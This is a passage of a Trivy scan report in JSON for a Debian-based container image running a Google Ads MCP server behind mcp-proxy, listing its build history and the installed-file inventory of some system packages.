{ "SchemaVersion": 2, "Trivy": { "Version": "0.70.0" }, "ReportID": "01a1b91c-5f79-7cb9-85e3-f8ba267457c1", "CreatedAt": "2026-11-08T04:03:26.841835714+01:00", "ArtifactID": "sha256:2810ea864497118c2110ea7f0f19c53213ea1fafb324fb86c6a8f3deba61f2da", "ArtifactName": "traefik-stack-google-ads-mcp", "ArtifactType": "container_image", "Metadata": { "Size": 749153280, "OS": { "Family": "debian", "Name": "13.3" }, "ImageID": "sha256:1f946a60cccc2d9a740b5b2d4e288895d74a406c22c75fcbf9beac6688498802", "DiffIDs": [ "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f", "sha256:6400845f12abd9c03c1a59d5630378e1a6ff58fb36ea655ab2605e166ad4d587", "sha256:11eedb26209894f612959676c175604e16ad7325d5866cdf74a401cbd3cef464", "sha256:3780204f6b74b4ebc29821a7b50259cf6942b09202a6ae150e5f365eafbf6979", "sha256:2a17bffc1228f95cd19a48d69be37bffc05000f37205db75a04188183750eafc", "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4", "sha256:3efa7a8a60eb4c4b3c4954da35291cbfea044579d720b85b906156071dd29d4b", "sha256:6088227b93f793d7c989835edc4c126698cdc5e356ba297f31e5a5a1110eb281", "sha256:4924edcaee38d66bbe261c86516d39d0151db3b7128c7edd7f7ed2b3383fefd4", "sha256:a1f651e72a0f3712f537193478f0e032fda37c8db7bff6a6b41b1f3214310a06" ], "RepoTags": [ "traefik-stack-google-ads-mcp:latest" ], "Reference": "traefik-stack-google-ads-mcp:latest", "ImageConfig": { "architecture": "amd64", "created": "2026-04-26T15:58:48.481146507Z", "history": [ { "created": "2026-02-23T00:00:00Z", "created_by": "# debian.sh --arch 'amd64' out/ 'trixie' '@1771804800'", "comment": "debuerreotype 0.17" }, { "created": "2026-02-24T19:39:14Z", "created_by": "ENV PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", "comment": "buildkit.dockerfile.v0", "empty_layer": true }, { "created": "2026-02-24T19:39:14Z", "created_by": "ENV LANG=C.UTF-8", "comment": "buildkit.dockerfile.v0", "empty_layer": true }, { "created": "2026-02-24T19:39:14Z", "created_by": "RUN /bin/sh -c set -eux; \tapt-get update; \tapt-get install -y --no-install-recommends \t\tca-certificates \t\tnetbase \t\ttzdata \t; \tapt-get dist-clean # buildkit", "comment": "buildkit.dockerfile.v0" }, { "created": "2026-02-24T19:39:14Z", "created_by": "ENV GPG_KEY=A035C8C19219BA821ECEA86B64E628F8D684696D", "comment": "buildkit.dockerfile.v0", "empty_layer": true }, { "created": "2026-02-24T19:39:14Z", "created_by": "ENV PYTHON_VERSION=3.11.14", "comment": "buildkit.dockerfile.v0", "empty_layer": true }, { "created": "2026-02-24T19:39:14Z", "created_by": "ENV PYTHON_SHA256=8d3ed8ec5c88c1c95f5e558612a725450d2452813ddad5e58fdb1a53b1209b78", "comment": "buildkit.dockerfile.v0", "empty_layer": true }, { "created": "2026-02-24T19:46:53Z", "created_by": "RUN /bin/sh -c set -eux; \t\tsavedAptMark=\"$(apt-mark showmanual)\"; \tapt-get update; \tapt-get install -y --no-install-recommends \t\tdpkg-dev \t\tgcc \t\tgnupg \t\tlibbluetooth-dev \t\tlibbz2-dev \t\tlibc6-dev \t\tlibdb-dev \t\tlibffi-dev \t\tlibgdbm-dev \t\tliblzma-dev \t\tlibncursesw5-dev \t\tlibreadline-dev \t\tlibsqlite3-dev \t\tlibssl-dev \t\tmake \t\ttk-dev \t\tuuid-dev \t\twget \t\txz-utils \t\tzlib1g-dev \t; \t\twget -O python.tar.xz \"https://www.python.org/ftp/python/${PYTHON_VERSION%%[a-z]*}/Python-$PYTHON_VERSION.tar.xz\"; \techo \"$PYTHON_SHA256 *python.tar.xz\" | sha256sum -c -; \twget -O python.tar.xz.asc \"https://www.python.org/ftp/python/${PYTHON_VERSION%%[a-z]*}/Python-$PYTHON_VERSION.tar.xz.asc\"; \tGNUPGHOME=\"$(mktemp -d)\"; export GNUPGHOME; \tgpg --batch --keyserver hkps://keys.openpgp.org --recv-keys \"$GPG_KEY\"; \tgpg --batch --verify python.tar.xz.asc python.tar.xz; \tgpgconf --kill all; \trm -rf \"$GNUPGHOME\" python.tar.xz.asc; \tmkdir -p /usr/src/python; \ttar --extract --directory /usr/src/python --strip-components=1 --file python.tar.xz; \trm python.tar.xz; \t\tcd /usr/src/python; \tgnuArch=\"$(dpkg-architecture --query DEB_BUILD_GNU_TYPE)\"; \t./configure \t\t--build=\"$gnuArch\" \t\t--enable-loadable-sqlite-extensions \t\t--enable-optimizations \t\t--enable-option-checking=fatal \t\t--enable-shared \t\t$(test \"${gnuArch%%-*}\" != 'riscv64' \u0026\u0026 echo '--with-lto') \t\t--with-ensurepip \t; \tnproc=\"$(nproc)\"; \tEXTRA_CFLAGS=\"$(dpkg-buildflags --get CFLAGS)\"; \tLDFLAGS=\"$(dpkg-buildflags --get LDFLAGS)\"; \tLDFLAGS=\"${LDFLAGS:-} -Wl,--strip-all\"; \tmake -j \"$nproc\" \t\t\"EXTRA_CFLAGS=${EXTRA_CFLAGS:-}\" \t\t\"LDFLAGS=${LDFLAGS:-}\" \t; \trm python; \tmake -j \"$nproc\" \t\t\"EXTRA_CFLAGS=${EXTRA_CFLAGS:-}\" \t\t\"LDFLAGS=${LDFLAGS:-} -Wl,-rpath='\\$\\$ORIGIN/../lib'\" \t\tpython \t; \tmake install; \t\tcd /; \trm -rf /usr/src/python; \t\tfind /usr/local -depth \t\t\\( \t\t\t\\( -type d -a \\( -name test -o -name tests -o -name idle_test \\) \\) \t\t\t-o \\( -type f -a \\( -name '*.pyc' -o -name '*.pyo' -o -name 'libpython*.a' \\) \\) \t\t\\) -exec rm -rf '{}' + \t; \t\tldconfig; \t\tapt-mark auto '.*' \u003e /dev/null; \tapt-mark manual $savedAptMark; \tfind /usr/local -type f -executable -not \\( -name '*tkinter*' \\) -exec ldd '{}' ';' \t\t| awk '/=\u003e/ { so = $(NF-1); if (index(so, \"/usr/local/\") == 1) { next }; gsub(\"^/(usr/)?\", \"\", so); printf \"*%s\\n\", so }' \t\t| sort -u \t\t| xargs -rt dpkg-query --search \t\t| awk 'sub(\":$\", \"\", $1) { print $1 }' \t\t| sort -u \t\t| xargs -r apt-mark manual \t; \tapt-get purge -y --auto-remove -o APT::AutoRemove::RecommendsImportant=false; \tapt-get dist-clean; \t\texport PYTHONDONTWRITEBYTECODE=1; \tpython3 --version; \t\tpip3 install \t\t--disable-pip-version-check \t\t--no-cache-dir \t\t--no-compile \t\t'setuptools==79.0.1' \t\t'wheel\u003c0.46' \t; \tpip3 --version # buildkit", "comment": "buildkit.dockerfile.v0" }, { "created": "2026-02-24T19:46:53Z", "created_by": "RUN /bin/sh -c set -eux; \tfor src in idle3 pip3 pydoc3 python3 python3-config; do \t\tdst=\"$(echo \"$src\" | tr -d 3)\"; \t\t[ -s \"/usr/local/bin/$src\" ]; \t\t[ ! -e \"/usr/local/bin/$dst\" ]; \t\tln -svT \"$src\" \"/usr/local/bin/$dst\"; \tdone # buildkit", "comment": "buildkit.dockerfile.v0" }, { "created": "2026-02-24T19:46:53Z", "created_by": "CMD [\"python3\"]", "comment": "buildkit.dockerfile.v0", "empty_layer": true }, { "created": "2026-04-26T06:36:57Z", "created_by": "WORKDIR /app", "comment": "buildkit.dockerfile.v0" }, { "created": "2026-04-26T15:58:15Z", "created_by": "RUN /bin/sh -c apt-get update \u0026\u0026 apt-get install -y --no-install-recommends build-essential \u0026\u0026 rm -rf /var/lib/apt/lists/* # buildkit", "comment": "buildkit.dockerfile.v0" }, { "created": "2026-04-26T15:58:17Z", "created_by": "COPY pyproject.toml /app/ # buildkit", "comment": "buildkit.dockerfile.v0" }, { "created": "2026-04-26T15:58:18Z", "created_by": "COPY src /app/src # buildkit", "comment": "buildkit.dockerfile.v0" }, { "created": "2026-04-26T15:58:20Z", "created_by": "COPY run_server.py /app/ # buildkit", "comment": "buildkit.dockerfile.v0" }, { "created": "2026-04-26T15:58:48Z", "created_by": "RUN /bin/sh -c pip install --no-cache-dir -e . \u0026\u0026 pip install --no-cache-dir \"mcp-proxy\u003e=0.4.0\" # buildkit", "comment": "buildkit.dockerfile.v0" }, { "created": "2026-04-26T15:58:48Z", "created_by": "ENV PYTHONUNBUFFERED=1", "comment": "buildkit.dockerfile.v0", "empty_layer": true }, { "created": "2026-04-26T15:58:48Z", "created_by": "EXPOSE [8080/tcp]", "comment": "buildkit.dockerfile.v0", "empty_layer": true }, { "created": "2026-04-26T15:58:48Z", "created_by": "CMD [\"mcp-proxy\" \"--host=0.0.0.0\" \"--port=8080\" \"--pass-environment\" \"--stateless\" \"--\" \"python\" \"/app/run_server.py\"]", "comment": "buildkit.dockerfile.v0", "empty_layer": true } ], "os": "linux", "rootfs": { "type": "layers", "diff_ids": [ "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f", "sha256:6400845f12abd9c03c1a59d5630378e1a6ff58fb36ea655ab2605e166ad4d587", "sha256:11eedb26209894f612959676c175604e16ad7325d5866cdf74a401cbd3cef464", "sha256:3780204f6b74b4ebc29821a7b50259cf6942b09202a6ae150e5f365eafbf6979", "sha256:2a17bffc1228f95cd19a48d69be37bffc05000f37205db75a04188183750eafc", "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4", "sha256:3efa7a8a60eb4c4b3c4954da35291cbfea044579d720b85b906156071dd29d4b", "sha256:6088227b93f793d7c989835edc4c126698cdc5e356ba297f31e5a5a1110eb281", "sha256:4924edcaee38d66bbe261c86516d39d0151db3b7128c7edd7f7ed2b3383fefd4", "sha256:a1f651e72a0f3712f537193478f0e032fda37c8db7bff6a6b41b1f3214310a06" ] }, "config": { "Cmd": [ "mcp-proxy", "--host=0.0.0.0", "--port=8080", "--pass-environment", "--stateless", "--", "python", "/app/run_server.py" ], "Env": [ "PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", "LANG=C.UTF-8", "GPG_KEY=A035C8C19219BA821ECEA86B64E628F8D684696D", "PYTHON_VERSION=3.11.14", "PYTHON_SHA256=8d3ed8ec5c88c1c95f5e558612a725450d2452813ddad5e58fdb1a53b1209b78", "PYTHONUNBUFFERED=1" ], "Labels": { "com.docker.compose.project": "traefik-stack", "com.docker.compose.service": "google-ads-mcp", "com.docker.compose.version": "5.1.3" }, "WorkingDir": "/app", "ExposedPorts": { "8080/tcp": {} }, "ArgsEscaped": true } }, "Layers": [ { "Size": 81039360, "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, { "Size": 4122624, "DiffID": "sha256:6400845f12abd9c03c1a59d5630378e1a6ff58fb36ea655ab2605e166ad4d587" }, { "Size": 43836928, "DiffID": "sha256:11eedb26209894f612959676c175604e16ad7325d5866cdf74a401cbd3cef464" }, { "Size": 5120, "DiffID": "sha256:3780204f6b74b4ebc29821a7b50259cf6942b09202a6ae150e5f365eafbf6979" }, { "Size": 1536, "DiffID": "sha256:2a17bffc1228f95cd19a48d69be37bffc05000f37205db75a04188183750eafc" }, { "Size": 330451456, "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, { "Size": 3072, "DiffID": "sha256:3efa7a8a60eb4c4b3c4954da35291cbfea044579d720b85b906156071dd29d4b" }, { "Size": 405504, "DiffID": "sha256:6088227b93f793d7c989835edc4c126698cdc5e356ba297f31e5a5a1110eb281" }, { "Size": 2560, "DiffID": "sha256:4924edcaee38d66bbe261c86516d39d0151db3b7128c7edd7f7ed2b3383fefd4" }, { "Size": 289285120, "DiffID": "sha256:a1f651e72a0f3712f537193478f0e032fda37c8db7bff6a6b41b1f3214310a06" } ] }, "Results": [ { "Target": "traefik-stack-google-ads-mcp (debian 13.3)", "Class": "os-pkgs", "Type": "debian", "Packages": [ { "ID": "adduser@3.152", "Name": "adduser", "Identifier": { "PURL": "pkg:deb/debian/adduser@3.152?arch=all\u0026distro=debian-13.3", "UID": "17a3839c9950603e" }, "Version": "3.152", "Arch": "all", "SrcName": "adduser", "SrcVersion": "3.152", "Licenses": [ "GPL-2.0-or-later", "GPL-2.0-only" ], "Maintainer": "Debian Adduser Developers \u003cadduser@packages.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "passwd@1:4.17.4-2" ], "Layer": { "DiffID": "sha256:11eedb26209894f612959676c175604e16ad7325d5866cdf74a401cbd3cef464" }, "InstalledFiles": [ "/usr/sbin/adduser", "/usr/sbin/deluser", "/usr/share/doc/adduser/NEWS.Debian.gz", "/usr/share/doc/adduser/README.gz", "/usr/share/doc/adduser/TODO", "/usr/share/doc/adduser/changelog.gz", "/usr/share/doc/adduser/copyright", "/usr/share/doc/adduser/examples/INSTALL", "/usr/share/doc/adduser/examples/README", "/usr/share/doc/adduser/examples/adduser.conf", "/usr/share/doc/adduser/examples/adduser.local", "/usr/share/doc/adduser/examples/adduser.local.conf", "/usr/share/doc/adduser/examples/adduser.local.conf.examples/bash.bashrc", "/usr/share/doc/adduser/examples/adduser.local.conf.examples/profile", "/usr/share/doc/adduser/examples/adduser.local.conf.examples/skel.other/index.html", "/usr/share/doc/adduser/examples/adduser.local.conf.examples/skel/dot.bash_logout", "/usr/share/doc/adduser/examples/adduser.local.conf.examples/skel/dot.bash_profile", "/usr/share/doc/adduser/examples/adduser.local.conf.examples/skel/dot.bashrc", "/usr/share/doc/adduser/examples/deluser.conf", "/usr/share/man/da/man5/deluser.conf.5.gz", "/usr/share/man/de/man5/adduser.conf.5.gz", "/usr/share/man/de/man5/deluser.conf.5.gz", "/usr/share/man/de/man8/adduser.8.gz", "/usr/share/man/de/man8/adduser.local.8.gz", "/usr/share/man/de/man8/deluser.8.gz", "/usr/share/man/es/man5/deluser.conf.5.gz", "/usr/share/man/fr/man5/adduser.conf.5.gz", "/usr/share/man/fr/man5/deluser.conf.5.gz", "/usr/share/man/fr/man8/adduser.8.gz", "/usr/share/man/fr/man8/deluser.8.gz", "/usr/share/man/it/man5/deluser.conf.5.gz", "/usr/share/man/man5/adduser.conf.5.gz", "/usr/share/man/man5/deluser.conf.5.gz", "/usr/share/man/man8/adduser.8.gz", "/usr/share/man/man8/adduser.local.8.gz", "/usr/share/man/man8/deluser.8.gz", "/usr/share/man/nl/man5/adduser.conf.5.gz", "/usr/share/man/nl/man5/deluser.conf.5.gz", "/usr/share/man/nl/man8/adduser.8.gz", "/usr/share/man/nl/man8/adduser.local.8.gz", "/usr/share/man/nl/man8/deluser.8.gz", "/usr/share/man/pl/man5/deluser.conf.5.gz", "/usr/share/man/pt/man5/adduser.conf.5.gz", "/usr/share/man/pt/man5/deluser.conf.5.gz", "/usr/share/man/pt/man8/adduser.8.gz", "/usr/share/man/pt/man8/adduser.local.8.gz", "/usr/share/man/pt/man8/deluser.8.gz", "/usr/share/man/ro/man5/adduser.conf.5.gz", "/usr/share/man/ro/man5/deluser.conf.5.gz", "/usr/share/man/ro/man8/adduser.8.gz", "/usr/share/man/ro/man8/adduser.local.8.gz", "/usr/share/man/ro/man8/deluser.8.gz", "/usr/share/man/ru/man5/deluser.conf.5.gz", "/usr/share/man/sv/man5/deluser.conf.5.gz", "/usr/share/perl5/Debian/AdduserCommon.pm", "/usr/share/perl5/Debian/AdduserLogging.pm", "/usr/share/perl5/Debian/AdduserRetvalues.pm" ], "AnalyzedBy": "dpkg" }, { "ID": "apt@3.0.3", "Name": "apt", "Identifier": { "PURL": "pkg:deb/debian/apt@3.0.3?arch=amd64\u0026distro=debian-13.3", "UID": "e8bb153de187e22e" }, "Version": "3.0.3", "Arch": "amd64", "SrcName": "apt", "SrcVersion": "3.0.3", "Licenses": [ "GPL-2.0-or-later", "curl", "BSD-3-Clause", "MIT", "GPL-2.0-only" ], "Maintainer": "APT Development Team \u003cdeity@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "adduser@3.152", "base-passwd@3.6.7", "debian-archive-keyring@2025.1", "libapt-pkg7.0@3.0.3", "libc6@2.41-12+deb13u2", "libgcc-s1@14.2.0-19", "libseccomp2@2.6.0-2", "libssl3t64@3.5.4-1~deb13u2", "libstdc++6@14.2.0-19", "libsystemd0@257.9-1~deb13u1", "sqv@1.3.0-3+b2" ], "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "InstalledFiles": [ "/usr/bin/apt", "/usr/bin/apt-cache", "/usr/bin/apt-cdrom", "/usr/bin/apt-config", "/usr/bin/apt-get", "/usr/bin/apt-mark", "/usr/lib/apt/apt-extracttemplates", "/usr/lib/apt/apt-helper", "/usr/lib/apt/apt.systemd.daily", "/usr/lib/apt/methods/cdrom", "/usr/lib/apt/methods/copy", "/usr/lib/apt/methods/file", "/usr/lib/apt/methods/gpgv", "/usr/lib/apt/methods/http", "/usr/lib/apt/methods/mirror", "/usr/lib/apt/methods/rred", "/usr/lib/apt/methods/sqv", "/usr/lib/apt/methods/store", "/usr/lib/apt/solvers/dump", "/usr/lib/dpkg/methods/apt/desc.apt", "/usr/lib/dpkg/methods/apt/install", "/usr/lib/dpkg/methods/apt/names", "/usr/lib/dpkg/methods/apt/setup", "/usr/lib/dpkg/methods/apt/update", "/usr/lib/systemd/system/apt-daily-upgrade.service", "/usr/lib/systemd/system/apt-daily-upgrade.timer", "/usr/lib/systemd/system/apt-daily.service", "/usr/lib/systemd/system/apt-daily.timer", "/usr/lib/x86_64-linux-gnu/libapt-private.so.0.0.0", "/usr/share/apt/default-sequoia.config", "/usr/share/bash-completion/completions/apt", "/usr/share/bug/apt/script", "/usr/share/doc/apt/NEWS.Debian.gz", "/usr/share/doc/apt/README.md.gz", "/usr/share/doc/apt/changelog.gz", "/usr/share/doc/apt/copyright", "/usr/share/doc/apt/examples/apt.conf", "/usr/share/doc/apt/examples/configure-index", "/usr/share/doc/apt/examples/debian.sources", "/usr/share/doc/apt/examples/preferences", "/usr/share/lintian/overrides/apt", "/usr/share/locale/ar/LC_MESSAGES/apt.mo", "/usr/share/locale/ast/LC_MESSAGES/apt.mo", "/usr/share/locale/bg/LC_MESSAGES/apt.mo", "/usr/share/locale/bs/LC_MESSAGES/apt.mo", "/usr/share/locale/ca/LC_MESSAGES/apt.mo", "/usr/share/locale/cs/LC_MESSAGES/apt.mo", "/usr/share/locale/cy/LC_MESSAGES/apt.mo", "/usr/share/locale/da/LC_MESSAGES/apt.mo", "/usr/share/locale/de/LC_MESSAGES/apt.mo", "/usr/share/locale/dz/LC_MESSAGES/apt.mo", "/usr/share/locale/el/LC_MESSAGES/apt.mo", "/usr/share/locale/es/LC_MESSAGES/apt.mo", "/usr/share/locale/eu/LC_MESSAGES/apt.mo", "/usr/share/locale/fi/LC_MESSAGES/apt.mo", "/usr/share/locale/fr/LC_MESSAGES/apt.mo", "/usr/share/locale/gl/LC_MESSAGES/apt.mo", "/usr/share/locale/hu/LC_MESSAGES/apt.mo", "/usr/share/locale/it/LC_MESSAGES/apt.mo", "/usr/share/locale/ja/LC_MESSAGES/apt.mo", "/usr/share/locale/km/LC_MESSAGES/apt.mo", "/usr/share/locale/ko/LC_MESSAGES/apt.mo", "/usr/share/locale/ku/LC_MESSAGES/apt.mo", "/usr/share/locale/lt/LC_MESSAGES/apt.mo", "/usr/share/locale/mr/LC_MESSAGES/apt.mo", "/usr/share/locale/nb/LC_MESSAGES/apt.mo", "/usr/share/locale/ne/LC_MESSAGES/apt.mo", "/usr/share/locale/nl/LC_MESSAGES/apt.mo", "/usr/share/locale/nn/LC_MESSAGES/apt.mo", "/usr/share/locale/pl/LC_MESSAGES/apt.mo", "/usr/share/locale/pt/LC_MESSAGES/apt.mo", "/usr/share/locale/pt_BR/LC_MESSAGES/apt.mo", "/usr/share/locale/ro/LC_MESSAGES/apt.mo", "/usr/share/locale/ru/LC_MESSAGES/apt.mo", "/usr/share/locale/sk/LC_MESSAGES/apt.mo", "/usr/share/locale/sl/LC_MESSAGES/apt.mo", "/usr/share/locale/sv/LC_MESSAGES/apt.mo", "/usr/share/locale/th/LC_MESSAGES/apt.mo", "/usr/share/locale/tl/LC_MESSAGES/apt.mo", "/usr/share/locale/tr/LC_MESSAGES/apt.mo", "/usr/share/locale/uk/LC_MESSAGES/apt.mo", "/usr/share/locale/vi/LC_MESSAGES/apt.mo", "/usr/share/locale/zh_CN/LC_MESSAGES/apt.mo", "/usr/share/locale/zh_TW/LC_MESSAGES/apt.mo", "/usr/share/man/de/man1/apt-transport-http.1.gz", "/usr/share/man/de/man1/apt-transport-https.1.gz", "/usr/share/man/de/man1/apt-transport-mirror.1.gz", "/usr/share/man/de/man5/apt.conf.5.gz", "/usr/share/man/de/man5/apt_auth.conf.5.gz", "/usr/share/man/de/man5/apt_preferences.5.gz", "/usr/share/man/de/man5/sources.list.5.gz", "/usr/share/man/de/man7/apt-patterns.7.gz", "/usr/share/man/de/man8/apt-cache.8.gz", "/usr/share/man/de/man8/apt-cdrom.8.gz", "/usr/share/man/de/man8/apt-config.8.gz", "/usr/share/man/de/man8/apt-get.8.gz", "/usr/share/man/de/man8/apt-mark.8.gz", "/usr/share/man/de/man8/apt-secure.8.gz", "/usr/share/man/de/man8/apt.8.gz", "/usr/share/man/es/man5/apt_preferences.5.gz", "/usr/share/man/es/man8/apt-cache.8.gz", "/usr/share/man/es/man8/apt-cdrom.8.gz", "/usr/share/man/es/man8/apt-config.8.gz", "/usr/share/man/fr/man1/apt-transport-http.1.gz", "/usr/share/man/fr/man1/apt-transport-https.1.gz", "/usr/share/man/fr/man1/apt-transport-mirror.1.gz", "/usr/share/man/fr/man5/apt.conf.5.gz", "/usr/share/man/fr/man5/apt_auth.conf.5.gz", "/usr/share/man/fr/man5/apt_preferences.5.gz", "/usr/share/man/fr/man5/sources.list.5.gz", "/usr/share/man/fr/man7/apt-patterns.7.gz", "/usr/share/man/fr/man8/apt-cache.8.gz", "/usr/share/man/fr/man8/apt-cdrom.8.gz", "/usr/share/man/fr/man8/apt-config.8.gz", "/usr/share/man/fr/man8/apt-get.8.gz", "/usr/share/man/fr/man8/apt-mark.8.gz", "/usr/share/man/fr/man8/apt-secure.8.gz", "/usr/share/man/fr/man8/apt.8.gz", "/usr/share/man/it/man5/apt.conf.5.gz", "/usr/share/man/it/man5/apt_preferences.5.gz", "/usr/share/man/it/man8/apt-cache.8.gz", "/usr/share/man/it/man8/apt-cdrom.8.gz", "/usr/share/man/it/man8/apt-config.8.gz", "/usr/share/man/it/man8/apt-mark.8.gz", "/usr/share/man/it/man8/apt.8.gz", "/usr/share/man/ja/man5/apt.conf.5.gz", "/usr/share/man/ja/man5/apt_preferences.5.gz", "/usr/share/man/ja/man8/apt-cache.8.gz", "/usr/share/man/ja/man8/apt-cdrom.8.gz", "/usr/share/man/ja/man8/apt-config.8.gz", "/usr/share/man/ja/man8/apt-mark.8.gz", "/usr/share/man/ja/man8/apt.8.gz", "/usr/share/man/man1/apt-transport-http.1.gz", "/usr/share/man/man1/apt-transport-https.1.gz", "/usr/share/man/man1/apt-transport-mirror.1.gz", "/usr/share/man/man5/apt.conf.5.gz", "/usr/share/man/man5/apt_auth.conf.5.gz", "/usr/share/man/man5/apt_preferences.5.gz", "/usr/share/man/man5/sources.list.5.gz", "/usr/share/man/man7/apt-patterns.7.gz", "/usr/share/man/man8/apt-cache.8.gz", "/usr/share/man/man8/apt-cdrom.8.gz", "/usr/share/man/man8/apt-config.8.gz", "/usr/share/man/man8/apt-get.8.gz", "/usr/share/man/man8/apt-mark.8.gz", "/usr/share/man/man8/apt-secure.8.gz", "/usr/share/man/man8/apt.8.gz", "/usr/share/man/nl/man1/apt-transport-http.1.gz", "/usr/share/man/nl/man1/apt-transport-https.1.gz", "/usr/share/man/nl/man1/apt-transport-mirror.1.gz", "/usr/share/man/nl/man5/apt.conf.5.gz", "/usr/share/man/nl/man5/apt_auth.conf.5.gz", "/usr/share/man/nl/man5/apt_preferences.5.gz", "/usr/share/man/nl/man5/sources.list.5.gz", "/usr/share/man/nl/man7/apt-patterns.7.gz", "/usr/share/man/nl/man8/apt-cache.8.gz", "/usr/share/man/nl/man8/apt-cdrom.8.gz", "/usr/share/man/nl/man8/apt-config.8.gz", "/usr/share/man/nl/man8/apt-get.8.gz", "/usr/share/man/nl/man8/apt-mark.8.gz", "/usr/share/man/nl/man8/apt-secure.8.gz", "/usr/share/man/nl/man8/apt.8.gz", "/usr/share/man/pl/man5/apt_preferences.5.gz", "/usr/share/man/pl/man8/apt-cache.8.gz", "/usr/share/man/pl/man8/apt-cdrom.8.gz", "/usr/share/man/pl/man8/apt-config.8.gz", "/usr/share/man/pt/man1/apt-transport-http.1.gz", "/usr/share/man/pt/man1/apt-transport-https.1.gz", "/usr/share/man/pt/man1/apt-transport-mirror.1.gz", "/usr/share/man/pt/man5/apt.conf.5.gz", "/usr/share/man/pt/man5/apt_auth.conf.5.gz", "/usr/share/man/pt/man5/apt_preferences.5.gz", "/usr/share/man/pt/man5/sources.list.5.gz", "/usr/share/man/pt/man7/apt-patterns.7.gz", "/usr/share/man/pt/man8/apt-cache.8.gz", "/usr/share/man/pt/man8/apt-cdrom.8.gz", "/usr/share/man/pt/man8/apt-config.8.gz", "/usr/share/man/pt/man8/apt-get.8.gz", "/usr/share/man/pt/man8/apt-mark.8.gz", "/usr/share/man/pt/man8/apt-secure.8.gz", "/usr/share/man/pt/man8/apt.8.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "base-files@13.8+deb13u3", "Name": "base-files", "Identifier": { "PURL": "pkg:deb/debian/base-files@13.8%2Bdeb13u3?arch=amd64\u0026distro=debian-13.3", "UID": "7ffc3183526b0864" }, "Version": "13.8+deb13u3", "Arch": "amd64", "SrcName": "base-files", "SrcVersion": "13.8+deb13u3", "Licenses": [ "GPL-2.0-or-later", "verbatim" ], "Maintainer": "Santiago Vila \u003csanvila@debian.org\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "InstalledFiles": [ "/usr/lib/os-release", "/usr/share/base-files/dot.bashrc", "/usr/share/base-files/dot.profile", "/usr/share/base-files/dot.profile.md5sums", "/usr/share/base-files/info.dir", "/usr/share/base-files/motd", "/usr/share/base-files/profile", "/usr/share/base-files/profile.md5sums", "/usr/share/base-files/staff-group-for-usr-local", "/usr/share/common-licenses/Apache-2.0", "/usr/share/common-licenses/Artistic", "/usr/share/common-licenses/BSD", "/usr/share/common-licenses/CC0-1.0", "/usr/share/common-licenses/GFDL-1.2", "/usr/share/common-licenses/GFDL-1.3", "/usr/share/common-licenses/GPL-1", "/usr/share/common-licenses/GPL-2", "/usr/share/common-licenses/GPL-3", "/usr/share/common-licenses/LGPL-2", "/usr/share/common-licenses/LGPL-2.1", "/usr/share/common-licenses/LGPL-3", "/usr/share/common-licenses/MPL-1.1", "/usr/share/common-licenses/MPL-2.0", "/usr/share/doc/base-files/NEWS.Debian.gz", "/usr/share/doc/base-files/README", "/usr/share/doc/base-files/README.FHS", "/usr/share/doc/base-files/changelog.gz", "/usr/share/doc/base-files/copyright", "/usr/share/lintian/overrides/base-files" ], "AnalyzedBy": "dpkg" }, { "ID": "base-passwd@3.6.7", "Name": "base-passwd", "Identifier": { "PURL": "pkg:deb/debian/base-passwd@3.6.7?arch=amd64\u0026distro=debian-13.3", "UID": "928e6d832cf7ebbd" }, "Version": "3.6.7", "Arch": "amd64", "SrcName": "base-passwd", "SrcVersion": "3.6.7", "Licenses": [ "GPL-2.0-only", "public-domain" ], "Maintainer": "Shadow package maintainers \u003cpkg-shadow-devel@lists.alioth.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u2", "libdebconfclient0@0.280", "libselinux1@3.8.1-1" ], "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "InstalledFiles": [ "/usr/sbin/update-passwd", "/usr/share/base-passwd/group.master", "/usr/share/base-passwd/passwd.master", "/usr/share/doc-base/base-passwd.users-and-groups", "/usr/share/doc/base-passwd/README", "/usr/share/doc/base-passwd/changelog.gz", "/usr/share/doc/base-passwd/copyright", "/usr/share/doc/base-passwd/users-and-groups.html", "/usr/share/doc/base-passwd/users-and-groups.txt.gz", "/usr/share/lintian/overrides/base-passwd", "/usr/share/man/de/man8/update-passwd.8.gz", "/usr/share/man/es/man8/update-passwd.8.gz", "/usr/share/man/fr/man8/update-passwd.8.gz", "/usr/share/man/ja/man8/update-passwd.8.gz", "/usr/share/man/man8/update-passwd.8.gz", "/usr/share/man/pl/man8/update-passwd.8.gz", "/usr/share/man/ro/man8/update-passwd.8.gz", "/usr/share/man/ru/man8/update-passwd.8.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "bash@5.2.37-2+b7", "Name": "bash", "Identifier": { "PURL": "pkg:deb/debian/bash@5.2.37-2%2Bb7?arch=amd64\u0026distro=debian-13.3", "UID": "6fa5b17aa4f75d55" }, "Version": "5.2.37", "Release": "2+b7", "Arch": "amd64", "SrcName": "bash", "SrcVersion": "5.2.37", "SrcRelease": "2", "Licenses": [ "GPL-3.0-or-later", "GPL-3.0-only", "GPL-3+ with Bison exception", "GPL-2.0-or-later", "GPL-2.0-only", "GFDL-1.3-no-invariants-only", "GFDL-1.3-only", "Latex2e", "BSD-4-Clause-UC", "MIT", "permissive" ], "Maintainer": "Matthias Klose \u003cdoko@debian.org\u003e", "Repository": { "Class": "official" }, 